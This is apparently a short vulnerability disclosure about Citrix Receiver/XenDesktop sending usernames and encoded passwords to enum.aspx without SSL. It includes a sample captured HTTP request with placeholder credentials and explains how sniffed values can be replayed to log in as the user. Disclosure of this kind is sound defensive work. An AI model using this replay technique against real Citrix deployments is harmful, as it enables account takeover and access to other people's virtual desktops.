Citrix Receiver, XenDesktop "Pass-the-hash" Attack

[vtek63@xxxxxxxxx]

Tested against: Citrix XenDesktop, XenServer, Receiver 5.6 SP2 (possibly other 
versions as well)

By default, the authentication between the Citrix Receiver client to the Web 
interface is not configured to use SSL. If a company elects not to use SSL for 
this, the XML transaction between the receiver client and the Web Interface 
server to enum.aspx and launch.aspx contains the username and encoded password 
of the user.  If an attacker can sniff this authentication traffic, they can 
use the encoded password to perform a "pass-the-hash" type attack to log in as 
the user via Citrix Receiver and gain access to the users Virtual Desktop(s).

POST /Citrix/XDPNAgent/enum.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: C:\PROGRA~1\Citrix\ICACLI~1\PNAMain.exe
Host: xxx.xxx.xxx.xxx
Content-Length: 705
Connection: Keep-Alive
Cache-Control: no-cache

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE NFuseProtocol SYSTEM 
"NFuse.dtd"><NFuseProtocol version="4.6"><RequestAppData><Scope 
traverse="onelevel" 
type="PNFolder">$PRELAUNCH$</Scope><DesiredDetails>permissions</DesiredDetails><DesiredDetails>icon-info</DesiredDetails><DesiredDetails>all</DesiredDetails><ServerType>x</ServerType><ServerType>win32</ServerType><ClientType>ica30</ClientType><ClientType>content</ClientType><Credentials><UserName>domain\myuser</UserName><Password
 encoding="ctx1">ENCODEDPASSWORDHERE</Password><Domain 
type="NT"></Domain></Credentials><ClientName>COMPUTER01</ClientName><ClientAddress>xxx.xxx.xxx.xxx</ClientAddress></RequestAppData></NFuseProtocol>

More information on how it works:
http://eelsivart.blogspot.com/2011/12/citrix-receiver-xendesktop-pass-hash.html